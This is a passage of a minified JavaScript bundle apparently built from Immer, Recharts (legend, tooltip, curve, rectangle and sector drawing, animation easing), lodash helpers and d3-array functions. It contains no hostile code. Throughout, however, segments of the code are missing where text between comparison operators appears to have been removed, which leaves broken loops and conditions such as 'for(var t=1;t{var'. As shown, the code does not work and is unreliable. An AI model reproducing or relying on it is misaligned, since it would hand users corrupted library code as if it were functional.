r=pa("Patches").applyPatches_;return cs(e)?r(e,t):this.produce(e,i=>r(i,t))}};function rh(e,t){const n=ul(e)?pa("MapSet").proxyMap_(e,t):Vd(e)?pa("MapSet").proxySet_(e,t):cM(e,t);return(t?t.scope_:Sk()).drafts_.push(n),n}function fM(e){return cs(e)||Vn(10,e),Pk(e)}function Pk(e){if(!ma(e)||Hd(e))return e;const t=e[hn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Jp(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Jp(e,!0);return xu(n,(i,s)=>{zk(n,i,Pk(s))},r),t&&(t.finalized_=!1),n}var mM=new dM;mM.produce;var pM={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},Ek=nn({name:"legend",initialState:pM,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:He()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=qn(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:He()},removeLegendPayload:{reducer(e,t){var n=qn(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:He()}}}),{setLegendSize:ZV,setLegendSettings:QV,addLegendPayload:_k,replaceLegendPayload:Ak,removeLegendPayload:Ok}=Ek.actions,hM=Ek.reducer;function ih(){return ih=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=Na.separator,contentStyle:n,itemStyle:r,labelStyle:i=Na.labelStyle,payload:s,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:p=Na.accessibilityLayer}=e,h=()=>{if(s&&s.length){var N={padding:0,margin:0},z=(l?Cd(s,l):s).map((k,S)=>{if(k.type==="none")return null;var A=k.formatter||o||yM,{value:_,name:O}=k,P=_,I=O;if(A){var Y=A(_,O,k,S,s);if(Array.isArray(Y))[P,I]=Y;else if(Y!=null)P=Y;else return null}var D=Bs(Bs({},Na.itemStyle),{},{color:k.color||Na.itemStyle.color},r);return m.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(S),style:D},Lr(I)?m.createElement("span",{className:"recharts-tooltip-item-name"},I):null,Lr(I)?m.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,m.createElement("span",{className:"recharts-tooltip-item-value"},P),m.createElement("span",{className:"recharts-tooltip-item-unit"},k.unit||""))});return m.createElement("ul",{className:"recharts-tooltip-item-list",style:N},z)}return null},x=Bs(Bs({},Na.contentStyle),n),g=Bs({margin:0},i),y=!Mt(d),v=y?d:"",b=Qe("recharts-default-tooltip",c),w=Qe("recharts-tooltip-label",u);y&&f&&s!==void 0&&s!==null&&(v=f(d,s));var j=p?{role:"status","aria-live":"assertive"}:{};return m.createElement("div",ih({className:b,style:x},j),m.createElement("p",{className:w,style:g},m.isValidElement(v)?v:"".concat(v)),h())},Fs="recharts-tooltip-wrapper",wM={visibility:"hidden"};function jM(e){var{coordinate:t,translateX:n,translateY:r}=e;return Qe(Fs,{["".concat(Fs,"-right")]:ge(n)&&t&&ge(t.x)&&n>=t.x,["".concat(Fs,"-left")]:ge(n)&&t&&ge(t.x)&&n=t.y,["".concat(Fs,"-top")]:ge(r)&&t&&ge(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var p=c[r];if(p==null)return 0;if(o[r]){var h=d,x=p;return hy?Math.max(d,p):Math.max(f,p)}function NM(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function kM(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:s,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,p;return l.height>0&&l.width>0&&n?(f=Gy({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:s,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),p=Gy({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:s,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=NM({translateX:f,translateY:p,useTranslate3d:c})):d=wM,{cssProperties:d,cssClasses:jM({translateX:f,translateY:p,coordinate:n})}}function Xy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ql(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,s;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(s=this.props.coordinate)===null||s===void 0?void 0:s.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:s,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:p,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:N}=kM({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:p,viewBox:h}),z=v?{}:ql(ql({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},N),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),k=ql(ql({},z),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return m.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:k,ref:y},s)}}var Tk=()=>{var e;return(e=je(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function sh(){return sh=Object.assign?Object.assign.bind():function(e){for(var t=1;tEe(e.x)&&Ee(e.y),e1=e=>e.base!=null&&yu(e.base)&&yu(e),Ws=e=>e.x,Us=e=>e.y,AM=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(al(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=Jy["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return Jy[n]||yd},t1={connectNulls:!1,type:"linear"},OM=e=>{var{type:t=t1.type,points:n=[],baseLine:r,layout:i,connectNulls:s=t1.connectNulls}=e,o=AM(t,i),l=s?n.filter(yu):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>Qy(Qy({},x),{},{base:r[g]}));i==="vertical"?c=Bl().y(Us).x1(Ws).x0(x=>x.base.x):c=Bl().x(Ws).y1(Us).y0(x=>x.base.y);var d=c.defined(e1).curve(o),f=s?u.filter(e1):u;return d(f)}var p;i==="vertical"&&ge(r)?p=Bl().y(Us).x1(Ws).x0(r):ge(r)?p=Bl().x(Ws).y1(Us).y0(r):p=V5().x(Ws).y(Us);var h=p.defined(yu).curve(o);return h(l)},Za=e=>{var{className:t,points:n,path:r,pathRef:i}=e,s=bs();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||s,connectNulls:e.connectNulls},l=n&&n.length?OM(o):r;return m.createElement("path",sh({},Mr(e),Lx(e),{className:Qe("recharts-curve",t),d:l===null?void 0:l,ref:i}))},TM=["x","y","top","left","width","height","className"];function oh(){return oh=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(s,",").concat(t,"h").concat(n),FM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:s=0,height:o=0,className:l}=e,c=RM(e,TM),u=MM({x:t,y:n,top:r,left:i,width:s,height:o},c);return!ge(t)||!ge(n)||!ge(s)||!ge(o)||!ge(r)||!ge(i)?null:m.createElement("path",oh({},Ut(u),{className:Qe("recharts-cross",l),d:BM(t,n,s,o,r,i)}))};function WM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function r1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function i1(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),Mk=(e,t,n)=>e.map(r=>"".concat(KM(r)," ").concat(t,"ms ").concat(n)).join(","),YM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Ho=(e,t)=>Object.keys(t).reduce((n,r)=>i1(i1({},n),{},{[r]:e(r,t[r])}),{});function a1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ht(e){for(var t=1;te+(t-e)*n,lh=e=>{var{from:t,to:n}=e;return t!==n},Lk=(e,t,n)=>{var r=Ho((i,s)=>{if(lh(s)){var[o,l]=e(s.from,s.to,s.velocity);return ht(ht({},s),{},{from:o,velocity:l})}return s},t);return n<1?Ho((i,s)=>lh(s)&&r[i]!=null?ht(ht({},s),{},{velocity:bu(s.velocity,r[i].velocity,n),from:bu(s.from,r[i].from,n)}):s,t):Lk(e,r,n-1)};function ZM(e,t,n,r,i,s){var o,l=r.reduce((p,h)=>ht(ht({},p),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>Ho((p,h)=>h.from,l),u=()=>!Object.values(l).filter(lh).length,d=null,f=p=>{o||(o=p);var h=p-o,x=h/n.dt;l=Lk(n,l,x),i(ht(ht(ht({},e),t),c())),o=p,u()||(d=s.setTimeout(f))};return()=>(d=s.setTimeout(f),()=>{var p;(p=d)===null||p===void 0||p()})}function QM(e,t,n,r,i,s,o){var l=null,c=i.reduce((f,p)=>{var h=e[p],x=t[p];return h==null||x==null?f:ht(ht({},f),{},{[p]:[h,x]})},{}),u,d=f=>{u||(u=f);var p=(f-u)/r,h=Ho((g,y)=>bu(...y,n(p)),c);if(s(ht(ht(ht({},e),t),h)),p<1)l=o.setTimeout(d);else{var x=Ho((g,y)=>bu(...y,n(1)),c);s(ht(ht(ht({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const JM=(e,t,n,r,i,s)=>{var o=YM(e,t);return n==null?()=>(i(ht(ht({},e),t)),()=>{}):n.isStepper===!0?ZM(e,t,n,o,i,s):QM(e,t,n,r,o,i,s)};var wu=1e-4,Ik=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],Dk=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),s1=(e,t)=>n=>{var r=Ik(e,t);return Dk(r,n)},e8=(e,t)=>n=>{var r=Ik(e,t),i=[...r.map((s,o)=>s*o).slice(1),0];return Dk(i,n)},t8=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(s=>parseFloat(s));return[i[0],i[1],i[2],i[3]]},n8=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=s1(e,n),s=s1(t,r),o=e8(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,p=0;p<8;++p){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,s=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,p=c*i/1e3+o;return Math.abs(p-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return o1(e);case"spring":return i8();default:if(e.split("(")[0]==="cubic-bezier")return o1(e)}return typeof e=="function"?e:null};function s8(e){var t,n=()=>null,r=!1,i=null,s=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(s.bind(null,u),c);return}s(c),i=e.setTimeout(s.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),s(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class o8{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,s=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(s))};return i=requestAnimationFrame(s),()=>{i!=null&&cancelAnimationFrame(i)}}}function l8(){return s8(new o8)}var c8=m.createContext(l8);function u8(e,t){var n=m.useContext(c8);return m.useMemo(()=>t??n(e),[e,t,n])}var d8=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Kd={isSsr:d8()},f8={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},l1={t:0},mm={t:1};function Yd(e){var t=gn(e,f8),{isActive:n,canBegin:r,duration:i,easing:s,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Kd.isSsr:n,f=u8(t.animationId,t.animationManager),[p,h]=m.useState(d?l1:mm),x=m.useRef(null);return m.useEffect(()=>{d||h(mm)},[d]),m.useEffect(()=>{if(!d||!r)return ys;var g=JM(l1,mm,a8(s),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,s,o,c,l,f]),u(p.t)}function qd(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=m.useRef(Ro(t)),r=m.useRef(e);return r.current!==e&&(n.current=Ro(t),r.current=e),n.current}var m8=["radius"],p8=["radius"],c1,u1,d1,f1,m1,p1,h1,x1,v1,g1;function y1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function b1(e){for(var t=1;t{var s=ui(n),o=ui(r),l=Math.min(Math.abs(s)/2,Math.abs(o)/2),c=o>=0?1:-1,u=s>=0?1:-1,d=o>=0&&s>=0||o<0&&s<0?1:0,f;if(l>0&&Array.isArray(i)){for(var p=[0,0,0,0],h=0,x=4;hl?l:y}f=tt(c1||(c1=tr(["M",",",""])),e,t+c*p[0]),p[0]>0&&(f+=tt(u1||(u1=tr(["A ",",",",0,0,",",",",",""])),p[0],p[0],d,e+u*p[0],t)),f+=tt(d1||(d1=tr(["L ",",",""])),e+n-u*p[1],t),p[1]>0&&(f+=tt(f1||(f1=tr(["A ",",",",0,0,",`, `,",",""])),p[1],p[1],d,e+n,t+c*p[1])),f+=tt(m1||(m1=tr(["L ",",",""])),e+n,t+r-c*p[2]),p[2]>0&&(f+=tt(p1||(p1=tr(["A ",",",",0,0,",`, `,",",""])),p[2],p[2],d,e+n-u*p[2],t+r)),f+=tt(h1||(h1=tr(["L ",",",""])),e+u*p[3],t+r),p[3]>0&&(f+=tt(x1||(x1=tr(["A ",",",",0,0,",`, `,",",""])),p[3],p[3],d,e,t+r-c*p[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=tt(v1||(v1=tr(["M ",",",` A `,",",",0,0,",",",",",` L `,",",` A `,",",",0,0,",",",",",` L `,",",` A `,",",",0,0,",",",",",` L `,",",` A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=tt(g1||(g1=tr(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},N1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Rk=e=>{var t=gn(e,N1),n=m.useRef(null),[r,i]=m.useState(-1);m.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var W=n.current.getTotalLength();W&&i(W)}catch{}},[]);var{x:s,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:p,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=m.useRef(l),v=m.useRef(c),b=m.useRef(s),w=m.useRef(o),j=m.useMemo(()=>({x:s,y:o,width:l,height:c,radius:u}),[s,o,l,c,u]),N=qd(j,"rectangle-");if(s!==+s||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var z=Qe("recharts-rectangle",d);if(!g){var k=Ut(t),{radius:S}=k,A=w1(k,m8);return m.createElement("path",ju({},A,{x:ui(s),y:ui(o),width:ui(l),height:ui(c),radius:typeof u=="number"?u:void 0,className:z,d:j1(s,o,l,c,u)}))}var _=y.current,O=v.current,P=b.current,I=w.current,Y="0px ".concat(r===-1?1:r,"px"),D="".concat(r,"px 0px"),M=Mk(["strokeDasharray"],p,typeof f=="string"?f:N1.animationEasing);return m.createElement(Yd,{animationId:N,key:N,canBegin:r>0,duration:p,easing:f,isActive:g,begin:h},W=>{var $=At(_,l,W),H=At(O,c,W),F=At(P,s,W),K=At(I,o,W);n.current&&(y.current=$,v.current=H,b.current=F,w.current=K);var Z;x?W>0?Z={transition:M,strokeDasharray:D}:Z={strokeDasharray:Y}:Z={strokeDasharray:D};var oe=Ut(t),{radius:de}=oe,be=w1(oe,p8);return m.createElement("path",ju({},be,{radius:typeof u=="number"?u:void 0,className:z,d:j1(F,K,$,H,u),ref:n,style:b1(b1({},Z),t.style)}))})};function k1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function z1(e){for(var t=1;te*180/Math.PI,dt=(e,t,n,r)=>({x:e+Math.cos(-Nu*r)*n,y:t+Math.sin(-Nu*r)*n}),$k=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},N8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:s}=t;return Math.sqrt((n-i)**2+(r-s)**2)},k8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:s}=t,o=N8({x:n,y:r},{x:i,y:s});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>s&&(c=2*Math.PI-c),{radius:o,angle:j8(c),angleInRadian:c}},z8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),s=Math.min(r,i);return{startAngle:t-s*360,endAngle:n-s*360}},S8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),s=Math.floor(r/360),o=Math.min(i,s);return e+o*360},C8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:s}=k8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return null;var{startAngle:c,endAngle:u}=z8(t),d=s,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return f?z1(z1({},t),{},{radius:i,angle:S8(d,t)}):null};function Bk(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:s}=e,o=dt(t,n,r,i),l=dt(t,n,r,s);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:s}}var S1,C1,P1,E1,_1,A1,O1;function ch(){return ch=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=Gt(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Gl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:s,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/Nu,f=c?i:i+s*d,p=dt(t,n,u,f),h=dt(t,n,r,f),x=c?i-s*d:i,g=dt(t,n,u*Math.cos(d*Nu),x);return{center:p,circleTangency:h,lineTangency:g,theta:d}},Fk=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:s,endAngle:o}=e,l=P8(s,o),c=s+l,u=dt(t,n,i,s),d=dt(t,n,i,c),f=tt(S1||(S1=qi(["M ",",",` A `,",",`,0, `,",",`, `,",",` `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(s>c),d.x,d.y);if(r>0){var p=dt(t,n,r,s),h=dt(t,n,r,c);f+=tt(C1||(C1=qi(["L ",",",` A `,",",`,0, `,",",`, `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(s<=c),p.x,p.y)}else f+=tt(P1||(P1=qi(["L ",","," Z"])),t,n);return f},E8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:s,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=Gt(u-c),{circleTangency:f,lineTangency:p,theta:h}=Gl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:s,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Gl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:s,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?tt(E1||(E1=qi(["M ",",",` a`,",",",0,0,1,",`,0 a`,",",",0,0,1,",`,0 `])),p.x,p.y,s,s,s*2,s,s,-s*2):Fk({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=tt(_1||(_1=qi(["M ",",",` A`,",",",0,0,",",",",",` A`,",",",0,",",",",",",",` A`,",",",0,0,",",",",",` `])),p.x,p.y,s,s,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,s,s,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:N}=Gl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),{circleTangency:z,lineTangency:k,theta:S}=Gl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),A=l?Math.abs(c-u):Math.abs(c-u)-N-S;if(A<0&&s===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=tt(A1||(A1=qi(["L",",",` A`,",",",0,0,",",",",",` A`,",",",0,",",",",",",",` A`,",",",0,0,",",",",","Z"])),k.x,k.y,s,s,+(d<0),z.x,z.y,r,r,+(A>180),+(d>0),w.x,w.y,s,s,+(d<0),j.x,j.y)}else b+=tt(O1||(O1=qi(["L",",","Z"])),t,n);return b},_8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},Wk=e=>{var t=gn(e,_8),{cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(s0&&Math.abs(u-d)<360?g=E8({cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=Fk({cx:n,cy:r,innerRadius:i,outerRadius:s,startAngle:u,endAngle:d}),m.createElement("path",ch({},Ut(t),{className:p,d:g}))};function A8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(oN(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:s,outerRadius:o,angle:l}=t,c=dt(r,i,s,l),u=dt(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return Bk(t)}}var Uk={},Vk={},Hk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Hx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(Hk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Hk;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(Vk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Kx,n=Vk;function r(i,s,o){o&&typeof o!="number"&&t.isIterateeCall(i,s,o)&&(s=o=void 0),i=n.toFinite(i),s===void 0?(s=i,i=0):s=n.toFinite(s),o=o===void 0?it?1:e>=t?0:NaN}function T8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function r0(e){let t,n,r;e.length!==2?(t=wi,n=(l,c)=>wi(e(l),c),r=(l,c)=>e(l)-c):(t=e===wi||e===T8?e:M8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:s}}function M8(){return 0}function Yk(e){return e===null?NaN:+e}function*L8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const I8=r0(wi),dl=I8.right;r0(Yk).center;class T1 extends Map{constructor(t,n=$8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(M1(this,t))}has(t){return super.has(M1(this,t))}set(t,n){return super.set(D8(this,t),n)}delete(t){return super.delete(R8(this,t))}}function M1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function D8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function R8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function $8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function B8(e=wi){if(e===wi)return qk;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function qk(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const F8=Math.sqrt(50),W8=Math.sqrt(10),U8=Math.sqrt(2);function ku(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),s=r/Math.pow(10,i),o=s>=F8?10:s>=W8?5:s>=U8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=s-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function I1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function Gk(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?qk:B8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),p=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+p)),x=Math.min(r,Math.floor(t+(c-u)*f/c+p));Gk(e,t,h,x,i)}const s=e[t];let o=n,l=r;for(Vs(e,n,t),i(e[r],s)>0&&Vs(e,n,r);o0;)--l}i(e[n],s)===0?Vs(e,n,l):(++l,Vs(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function Vs(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function V8(e,t,n){if(e=Float64Array.from(L8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return I1(e);if(t>=1)return L1(e);var r,i=(r-1)*t,s=Math.floor(i),o=L1(Gk(e,s).subarray(0,s+1)),l=I1(e.subarray(s+1));return o+(l-o)*(i-s)}}function H8(e,t,n=Yk){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,s=Math.floor(i),o=+n(e[s],s,e),l=+n(e[s+1],s+1,e);return o+(l-o)*(i-s)}}function 